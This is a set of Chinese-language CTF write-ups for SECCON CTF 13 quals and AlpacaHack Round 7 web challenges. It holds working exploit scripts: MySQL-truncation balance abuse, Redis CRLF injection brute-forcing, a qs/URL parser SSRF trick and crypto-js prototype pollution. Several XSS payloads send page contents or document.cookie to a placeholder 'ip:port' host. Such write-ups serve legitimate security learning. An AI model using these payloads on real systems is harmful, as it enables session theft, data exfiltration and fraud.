SECCON CTF 13th Quals

Trillion_Bank

题目代码:

import fastify from "fastify";
import crypto from "node:crypto";
import fs from "node:fs/promises";
import db from "./db.js";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;

const app = fastify();

app.register(await import("@fastify/jwt"), {
  secret: crypto.randomBytes(32),
  cookie: { cookieName: "session" },
});
app.register(await import("@fastify/cookie"));

const names = new Set();

const auth = async (req, res) => {
  try {
    await req.jwtVerify();
  } catch {
    return res.status(401).send({ msg: "Unauthorized" });
  }
};

app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });
  res
    .setCookie("session", await res.jwtSign({ id: result.insertId }))
    .send({ msg: "Succeeded" });
});

app.get("/api/me", { onRequest: auth }, async (req, res) => {
  try {
    const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
    req.user.balance = balance;
  } catch (err) {
    return res.status(500).send({ msg: err.message });
  }
  if (req.user.balance >= TRILLION) {
    req.user.flag = FLAG; // 💰
  }
  res.send(req.user);
});

app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
  const recipientName = String(req.body.recipientName);
  if (!names.has(recipientName)) {
    res.status(404).send({ msg: "Not found" });
    return;
  }

  const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
  if (id === req.user.id) {
    res.status(400).send({ msg: "Self-transfer is not allowed" });
    return;
  }

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

  const conn = await db.getConnection();
  try {
    await conn.beginTransaction();

    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

    await conn.commit();
  } catch (err) {
    await conn.rollback();
    return res.status(500).send({ msg: err.message });
  } finally {
    db.releaseConnection(conn);
  }

  res.send({ msg: "Succeeded" });
});

app.get("/", async (req, res) => {
  const html = await fs.readFile("index.html");
  res.type("text/html; charset=utf-8").send(html);
});

app.listen({ port: 3000, host: "0.0.0.0" });

需要拿到1000000000000

转账时发送方根据id扣除余额,接收方根据name增加余额。虽然后端设置禁止注册同名用户,但调用mysql时并没有验证是否有同名用户。

数据库使用TEXT类型保存name,TEXT最大长度为65535,docker配置了mysql参数--sql_mode为空,所以当数据发生溢出时不会报错直接截断。因此可以在mysql中插入同名用户。

exp:

import requests
import time

url = ''
base_name = 'z'*65535

def reg(name : str) -> tuple[str, str, str]:
    res1 = requests.post(url=url + '/api/register', json={"name" : base_name})
    jwt_1 = res1.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]
    
    res2 = requests.post(url=url + '/api/register', json={"name" : base_name + name})
    jwt_2 = res2.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]

    res3 = requests.post(url=url + '/api/register', json={"name" : base_name + name + name})
    jwt_3 = res3.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]

    return (jwt_1, jwt_2, jwt_3) 

if __name__ == '__main__':
    jwt_1, jwt_2, jwt_3 = reg('ajdjsbvkj')

    balance = 10
    while (balance * 2 - 10) < 1_000_000_000_000:
        time.sleep(0.5)
        
        res = requests.post(url=url + '/api/transfer', json={"recipientName" : base_name, "amount" : balance}, cookies={"session" : jwt_2})
        res = requests.post(url=url + '/api/transfer', json={"recipientName" : base_name, "amount" : balance}, cookies={"session" : jwt_3})

        balance = balance * 2
        print(balance * 2 - 10, end='\r')

    print(jwt_1)

self-ssrf

题目代码:

import express from "express";

const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;

const app = express();

app.use("/", (req, res, next) => {
  if (req.query.flag === undefined) {
    const path = "/flag?flag=guess_the_flag";
    res.send(`Go to <a href="${path}">${path}</a>`);
  } else next();
});

app.get("/flag", (req, res) => {
  res.send(
    req.query.flag === FLAG // Guess the flag
      ? `Congratz! The flag is '${FLAG}'.`
      : `<marquee>🚩🚩🚩</marquee>`
  );
});

app.get("/ssrf", async (req, res) => {
  try {
    const url = new URL(req.url, LOCALHOST);

    if (url.hostname !== LOCALHOST.hostname) {
      res.send("Try harder 1");
      return;
    }
    if (url.protocol !== LOCALHOST.protocol) {
      res.send("Try harder 2");
      return;
    }

    url.pathname = "/flag";
    url.searchParams.append("flag", FLAG);

    res.send(await fetch(url).then((r) => r.text()));
  } catch {
    res.status(500).send(":(");
  }
});

app.listen(PORT);

访问server需要带有flag参数,而ssrf也会添加一个flag参数,有重复键时express会用逗号拼接:

/?flag=1&flag=flag  ->  req.query.flag = '1,flag'

express解析query

先解析url,随后处理url.query,并赋值给req.query

// express.middleware.query

return function query(req, res, next){
    if (!req.query) {
        var val = parseUrl(req).query;
        req.query = queryparse(val, opts);
    }

    next();
};

express解析query使用的是qs库。

queryparse代码如下:

// qs.parse

module.exports = function (str, opts) {
    var options = normalizeParseOptions(opts);

    if (str === '' || str === null || typeof str === 'undefined') {
        return options.plainObjects ? Object.create(null) : {};
    }

    var tempObj = typeof str === 'string' ? parseValues(str, options) : str;
    var obj = options.plainObjects ? Object.create(null) : {};

    // Iterate over the keys and setup the new object

    var keys = Object.keys(tempObj);
    for (var i = 0; i < keys.length; ++i) {
        var key = keys[i];
        var newObj = parseKeys(key, tempObj[key], options, typeof str === 'string');
        obj = utils.merge(obj, newObj, options);
    }

    if (options.allowSparse === true) {
        return obj;
    }

    return utils.compact(obj);
};

parseValues函数将各键的值解析,parseKeys函数将键名解析,最后merge到一起。

parseValues函数关键代码如下:

var parseValues = function parseQueryStringValues(str, options) {
    var obj = { __proto__: null };

    var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\?/, '') : str;
    cleanStr = cleanStr.replace(/%5B/gi, '[').replace(/%5D/gi, ']');
    var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit;
    var parts = cleanStr.split(options.delimiter, limit);
    var skipIndex = -1; // Keep track of where the utf8 sentinel was found
    var i;

        ......

    for (i = 0; i < parts.length; ++i) {
        if (i === skipIndex) {
            continue;
        }
        var part = parts[i];

        var bracketEqualsPos = part.indexOf(']=');
        var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;

        var key, val;
        if (pos === -1) {
            key = options.decoder(part, defaults.decoder, charset, 'key');
            val = options.strictNullHandling ? null : '';
        } else {
            key = options.decoder(part.slice(0, pos), defaults.decoder, charset, 'key');
            val = utils.maybeMap(
                parseArrayValue(part.slice(pos + 1), options),
                function (encodedVal) {
                    return options.decoder(encodedVal, defaults.decoder, charset, 'value');
                }
            );
        }

            ......

        if (part.indexOf('[]=') > -1) {
            val = isArray(val) ? [val] : val;
        }

        var existing = has.call(obj, key);
        if (existing && options.duplicates === 'combine') {
            obj[key] = utils.combine(obj[key], val);
        } else if (!existing || options.duplicates === 'last') {
            obj[key] = val;
        }
    }

    return obj;
};

options.duplicates默认是combine,所以重复键会用逗号拼接。

解析时先通过&分割,然后再用=分割键和值。

注意分割方式:

var bracketEqualsPos = part.indexOf(']=');
var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;

当出现]=时,优先使用]=所在的索引。而内置库的URL是根据第一个=分割的:

new URL('http://localhost:3000/asd?flag=]=asd');

// searchParams: URLSearchParams { 'flag' => ']=asd' }

解法

URL()会对除了作为分隔符以外的=进行URL编码。qs只会对[]进行URL解码:

cleanStr = cleanStr.replace(/%5B/gi, '[').replace(/%5D/gi, ']');

当输入ssrf/?flag[=]=asd时,会进行以下处理:

// qs第一次解析
req.query = {
    "flag" : {
        "=" : "asd"
    }
}

// URL()解析
url = 'http://localhost:3000/flag?flag[=%5D%3Dasd&flag=SECCON'

// qs第二次解析
req.query = {
    "flag" : "SECCON",
    "flag[" : "]=asd"
}

Tanuki_Udon

一个blog系统,支持markdown格式,尝试xss。

markdown处理函数:

const escapeHtml = (content) => {
  return content
    .replaceAll('&', '&amp;')
    .replaceAll(`"`, '&quot;')
    .replaceAll(`'`, '&#39;')
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;');
}

const markdown = (content) => {
  const escaped = escapeHtml(content);
  return escaped
    .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
    .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
    .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
    .replace(/  $/mg, `<br>`);
}

module.exports = markdown;

问题在于replace执行是有顺序的,前一个的img标签的引号可以通过a标签破坏。

a标签的[]内部匹配的是.*,包容性强,可以用这个分割img的引号。

写一个测试脚本:

const escapeHtml = (content) => {
    return content
        .replaceAll('&', '&amp;')
        .replaceAll(`"`, '&quot;')
        .replaceAll(`'`, '&#39;')
        .replaceAll('<', '&lt;')
        .replaceAll('>', '&gt;');
}
  
const markdown = (content) => {
    var escaped = escapeHtml(content);
    escaped = escaped.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`);
    console.log(escaped);

    escaped = escaped.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`);
    console.log(escaped);

    escaped = escaped.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`);
    console.log(escaped);

    escaped = escaped.replace(/  $/mg, `<br>`);
    console.log(escaped);

    return escaped
}

content = '![]([)]()'

markdown(content)

/* 
<img alt="" src="["></img>]()
<img alt="" src="<a href="">"></img></a>
<img alt="" src="<a href="">"></img></a>
<img alt="" src="<a href="">"></img></a>
*/

新生成的a标签的href属性逃逸出了双引号,且依然在img标签内。可以使用onerror执行js代码。

payload:

![]([)]( onerror=alert`1` class=)


/*
<img alt="" src="["></img>]( onerror=alert`1` class=)
<img alt="" src="<a href=" onerror=alert`1` class=">"></img></a>
<img alt="" src="<a href=" onerror=alert`1` class=">"></img></a>
<img alt="" src="<a href=" onerror=alert`1` class=">"></img></a>
*/

不过由于onerror处在markdown a标签的href属性位置,不能有),所以使用javascript协议,就可以通过url编码绕过字符限制了。

拿flag需要知道flag的noteid,要用bot的cookie访问/获得,cookie是Http Only的,所以直接用fetch读取页面内容。

js payload:

var d;fetch("/").then((r) => r.text()).then((data) => {d = data});setTimeout(() => {fetch('http://ip:port?data=' + encodeURI(d))}, 500);

xss payload:

![1]([)]( onerror=location=`javascript:var%20d%3Bfetch%28%22%2F%22%29%2Ethen%28%28r%29%20%3D%3E%20r%2Etext%28%29%29%2Ethen%28%28data%29%20%3D%3E%20%7Bd%20%3D%20data%7D%29%3BsetTimeout%28%28%29%20%3D%3E%20%7Bfetch%28%27http%3A%2F%2Fip%3Aport%3Fdata%3D%27%20%2B%20encodeURI%28d%29%29%7D%2C%20500%29%3B` class=)

拿到noteid直接访问即可。

JavaScrypto

又是一个note系统,服务器只保存AES CBC加密的密文和iv,key保存在用户的localstorage中。

index.html代码如下:

<html>
  <head>
    <title>JavaScrypto</title>
    <meta charset="utf-8">
    <script src="https://cdn.tailwindcss.com"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js" integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGPoWFQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/purl/2.3.1/purl.min.js" integrity="sha512-xbWNJpa0EduIPOwctW2N6KjW1KAWai6wEfiC3bafkJZyd0X3Q3n5yDTXHd21MIostzgLTwhxjEH+l9a5j3RB4A==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="note.js"></script>
  </head>
  <body>
    <div class="flex flex-col items-center bg-orange-100 h-full font-mono gap-4">
      <p class="p-4 text-xl text-blue-600">
        JavaS<span class="text-yellow-600">crypto</span>
      </p>

      <pre id="note" class="p-4 bg-slate-100 rounded w-1/2 text-center"></pre>

      <textarea name="noteInput" id="noteInput" class="w-1/2 p-4"></textarea>

      <button id="createNote" class="p-2 bg-green-200 rounded">Create</button>
    </div>

    <script type="text/javascript">
      const key = getOrCreateKey();

      const id = purl().param().id || localStorage.getItem('currentId');
      if (id && typeof id === 'string') {
        readNote({
          id,  
          key, 
        }).then(content => {
          if (content) {
            localStorage.setItem('currentId', id);
            document.getElementById('note').innerHTML = content;
          } else {
            document.getElementById('note').innerHTML = 'Failed to read';
          }
        });
      } else {
        document.getElementById('note').innerHTML = 'No note';
      }

      const onCreate = () => {
        const content = document.getElementById('noteInput').value;
        createNote({
          plaintext: content, 
          key, 
        }).then(id => {
          localStorage.setItem('currentId', id);
          location.href = `/?id=${id}`;
        });
      }

      document.getElementById('createNote').addEventListener('click', onCreate);
    </script>
  </body>
</html>

note.js代码如下:

const getOrCreateKey = () => {
  if (!localStorage.getItem('key')) {
    const rawKey = CryptoJS.lib.WordArray.random(16);
    localStorage.setItem('key', rawKey.toString(CryptoJS.enc.Base64));
  }
  return localStorage.getItem('key');
}

const encryptNote = ({ plaintext, key }) => {
  const rawKey = CryptoJS.enc.Base64.parse(key);
  const rawIv = CryptoJS.lib.WordArray.random(16);
  const rawSalt = CryptoJS.lib.WordArray.random(16);
  const rawCiphertext = CryptoJS.AES.encrypt(plaintext, rawKey, {
    iv: rawIv, 
    salt: rawSalt, 
  }).ciphertext;
  return {
    iv: rawIv.toString(CryptoJS.enc.Base64), 
    ciphertext: rawCiphertext.toString(CryptoJS.enc.Base64), 
  }
}

const decryptNote = ({ key, iv, ciphertext }) => {
  const rawKey = CryptoJS.enc.Base64.parse(key);
  const rawIv = CryptoJS.enc.Base64.parse(iv);
  const rawPlaintext = CryptoJS.AES.decrypt(ciphertext, rawKey, {
    iv: rawIv, 
  });
  return rawPlaintext.toString(CryptoJS.enc.Latin1);
}

const createNote = async ({ plaintext, key }) => {
  const cipherParams = encryptNote({ plaintext, key });
  const { id } = await fetch('/note', {
    method: 'POST', 
    body: JSON.stringify(cipherParams), 
    headers: {
      'content-type': 'application/json'
    }
  }).then(r => r.json());
  return id;
}

const readNote = async ({ id, key }) => {
  const cipherParams = await fetch(`/note/${id}`).then(r => r.json());
  const { iv, ciphertext } = cipherParams;
  return decryptNote({ key, iv, ciphertext });
}

使用purl库解析url提取id,2.3.1版本存在原型链污染漏洞。

payload:

/?__proto__[asd]=asd#__proto__[test]=test

bot会将flag保存在note中,需要知道id来获取密文和iv,以及key来解密flag。

bot访问note时,只会用自己的key来解密。要通过原型链污染来使bot可以查看我们写的内容。

题目使用了crypto-js进行AES加解密,base64解密时可以污染_reverseMap,https://github.com/brix/crypto-js/blob/develop/src/enc-base64.js#L76

base64解密代码:

parse: function (base64Str) {
  // Shortcuts
  var base64StrLength = base64Str.length;
  var map = this._map;
  var reverseMap = this._reverseMap;

  if (!reverseMap) {
    reverseMap = this._reverseMap = [];
    for (var j = 0; j < map.length; j++) {
      reverseMap[map.charCodeAt(j)] = j;
    }
  }

  // Ignore padding
  var paddingChar = map.charAt(64);
  if (paddingChar) {
    var paddingIndex = base64Str.indexOf(paddingChar);
    if (paddingIndex !== -1) {
      base64StrLength = paddingIndex;
    }
  }

  // Convert
  return parseLoop(base64Str, base64StrLength, reverseMap);
},

_map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
};

function parseLoop(base64Str, base64StrLength, reverseMap) {
  var words = [];
  var nBytes = 0;
  for (var i = 0; i < base64StrLength; i++) {
    if (i % 4) {
      var bits1 = reverseMap[base64Str.charCodeAt(i - 1)] << ((i % 4) * 2);
      var bits2 = reverseMap[base64Str.charCodeAt(i)] >>> (6 - (i % 4) * 2);
      var bitsCombined = bits1 | bits2;
      words[nBytes >>> 2] |= bitsCombined << (24 - (nBytes % 4) * 8);
      nBytes++;
    }
  }
  return WordArray.create(words, nBytes);
}

可以通过污染_reverseMap来影响解密结果。由于key的值不确定,所以一般的变表解密出来的key依然不确定。

只有通过将表中所有字符都指向一个相同的数字。比如都指向0,此时key和iv解密后都是0。这样key就确定了。

还要保证ciphertext能正常解密,base64表需要有64个字符,而ascii码有128个字符,所以ascii码可以容纳两张不同的base64表。

生成新表:

def gentable(table_org : str) -> str:
    table_new = ""

    for i in range(128):
        c = chr(i)
        if c in table_org:
            continue

        table_new = table_new + c

    return table_new

table_org = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
table_new = gentable(table_org)

将xss payload用空的key和iv进行AES加密然后用新的表编码即可。值得注意的是,通过purl进行污染时新表中不能包含[=,所以其实新表是缺失了两个字符的,所以需要fuzz出一个合适的xss payload。

bot访问我们report的url时会将传入的id覆盖,所以需要通过xss让bot重定向到/再加载一遍flag note,然后外带。

payload:

<img src onerror='w=window.open("/");setTimeout(()=>{location.href="/flag?FLAG="+w.document.getElementById("note").innerHTML},2000)'>

AlpacaHack Round 7

Treasure Hunt

服务器代码如下:

app.use((req, res, next) => {
  res.type("text");
  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }
  next();
});

app.use(express.static("public"));

flag文件名生成:

FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t

对于express来说,访问静态文件时,当某个文件夹存在时会自动加上/,也就是说如果/public/c文件夹存在:

GET /c    ->    301 location: /c/

并且允许url编码。所以可以一层层爆破出文件名。

Alpaca Poll

flag存储在redis中。

关键路由如下:

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

app.get('/votes', async (req, res) => {
    return res.json(await getVotes());
});

redis相关代码:

import net from 'node:net';

function connect() {
    return new Promise(resolve => {
        const socket = net.connect('6379', 'localhost', () => {
            resolve(socket);
        });
    });
}

function send(socket, data) {
    console.info('[send]', JSON.stringify(data));
    socket.write(data);

    return new Promise(resolve => {
        socket.on('data', data => {
            console.info('[recv]', JSON.stringify(data.toString()));
            resolve(data.toString());
        })
    });
}

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        message += `GET ${animal}\r\n`;
    }

    const reply = await send(socket, message);
    socket.destroy();

    let result = {};
    for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
        result[ANIMALS[index]] = parseInt(match[1], 10);
    }

    return result;
}

export async function init(flag) {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
        message += `SET ${animal} ${votes}\r\n`;
    }

    message += `SET flag ${flag}\r\n`; // please exfiltrate this

    await send(socket, message);
    socket.destroy();
}

vote函数存在注入。但getVotes只能解析数字:

let result = {};
for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
    result[ANIMALS[index]] = parseInt(match[1], 10);
}

return result;

查了查文档发现redis string可以进行异或运算,https://redis.io/docs/latest/commands/bitop/

思路就是先通过异或将flag第一个字符转为数字,然后就能成功通过getVotes获得回显,再异或一次就能获得第一个字符,然后再将flag第二个字符也异或成数字,以此类推。

复制flag

copy flag flagcopy

异或并复制到animal

del alpaca
set xorstr "xxx"
BITOP XOR alpaca flagcopy xorstr

检查是否有数字 /votes查看第三个数字是否成功解析,如果有,保存下来与发送的xorstr异或获得flag

但是有个坑,似乎数字太大会溢出,所以flag后面一段得不到。

改进以下流程,假设已经确定的flag部分:flag{abcd,对应的xor后的数字为123456789,对应的xorstr为qwertyuio,此时'qwertyuio' ^ 'flag{abcd' = '123456789',我们可以计算出一个新的xorstr使得new_xorstr ^ 'flag{abcd' = '000000000'

此时我们再尝试爆破第十个字符,此时0000000001会解析为1,不会再溢出了。

exp:

import requests
import string
import json

url = 'http://'

cha = string.ascii_letters + string.digits

copy_flag_payload = 'dog\r\n\r\ncopy flag flagcopy'
fuzz_flag_payload = 'dog\r\n\r\ndel alpaca\r\nset xorstr "{}"\r\nBITOP XOR alpaca flagcopy xorstr\r\nget alpaca'

def check_votes():
    res = requests.get(url=url + '/votes')
    res = json.loads(res.text)
    if 'alpaca' in res:
        return str(res['alpaca'])
    
    return None

def fuzz_flag():
    data = {
        "animal" : copy_flag_payload
    }
    requests.post(url=url + '/vote', data=data)

    xored_flag = ''
    flag = ''

    while True:
        if len(flag) > 0 and '}' in flag:
            break
        for i in cha:
            print(xored_flag + i, end='\r')
            data = {
                "animal" : fuzz_flag_payload.format(xored_flag + i)
            }

            requests.post(url=url + '/vote', data=data)
            xored_char = check_votes()
            if xored_char == None:
                continue
            elif len(xored_char) < 1 or xored_char == '0':
                continue

            xor_char = str(xored_char)[0]
            flag = flag + chr(ord(xor_char) ^ ord(i))
            xored_flag = xored_flag + chr(ord(flag[-1]) ^ ord('0'))
            print(flag)
            print(xored_flag)
            break

    print(flag)
fuzz_flag()

可能是因为反斜杠的原因,flag中多了一个l

minimal-waf

xss题

flag在bot cookie中,httponly为false。可以控制bot访问任意url。

express代码如下:

express()
    .get("/", (req, res) => res.type("html").send(indexHtml))
    .get("/view", (req, res) => {
        const html = String(req.query.html ?? "?").slice(0, 1024);

        if (
            req.header("Sec-Fetch-Site") === "same-origin" &&
            req.header("Sec-Fetch-Dest") !== "document"
        ) {
            // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
            res.type("html").send(html);
            return;
        }

        if (/script|src|on|html|data|&/i.test(html)) {
            res.type("text").send(`XSS Detected: ${html}`);
        } else {
            res.type("html").send(html);
        }
    })
    .listen(3000);

直接通过url访问Sec-Fetch-Dest时document。通过html标签访问即可。

思路是先直接访问/view,再通过iframe或embed同源嵌入/view页面,此时无waf限制,可以触发xss。

<embed code="http://localhost:3000/view?html=" type="text/html">

html中属性会自动去除部分特殊字符,使用换行绕过即可。

payload:

%3Cembed%20code%3D%22%2Fview%3Fht%0Aml%3D%253Cscr%0Aipt%253Efetch%2528%2527http%253A%252F%252Fip%253Aport%252F%253Fflag%253D%2527%2520%252B%2520encodeURI%2528document%252Ecookie%2529%2529%253B%253C%252Fscr%0Aipt%253E%22%20type%3Dtext%2Fht%0Aml%3E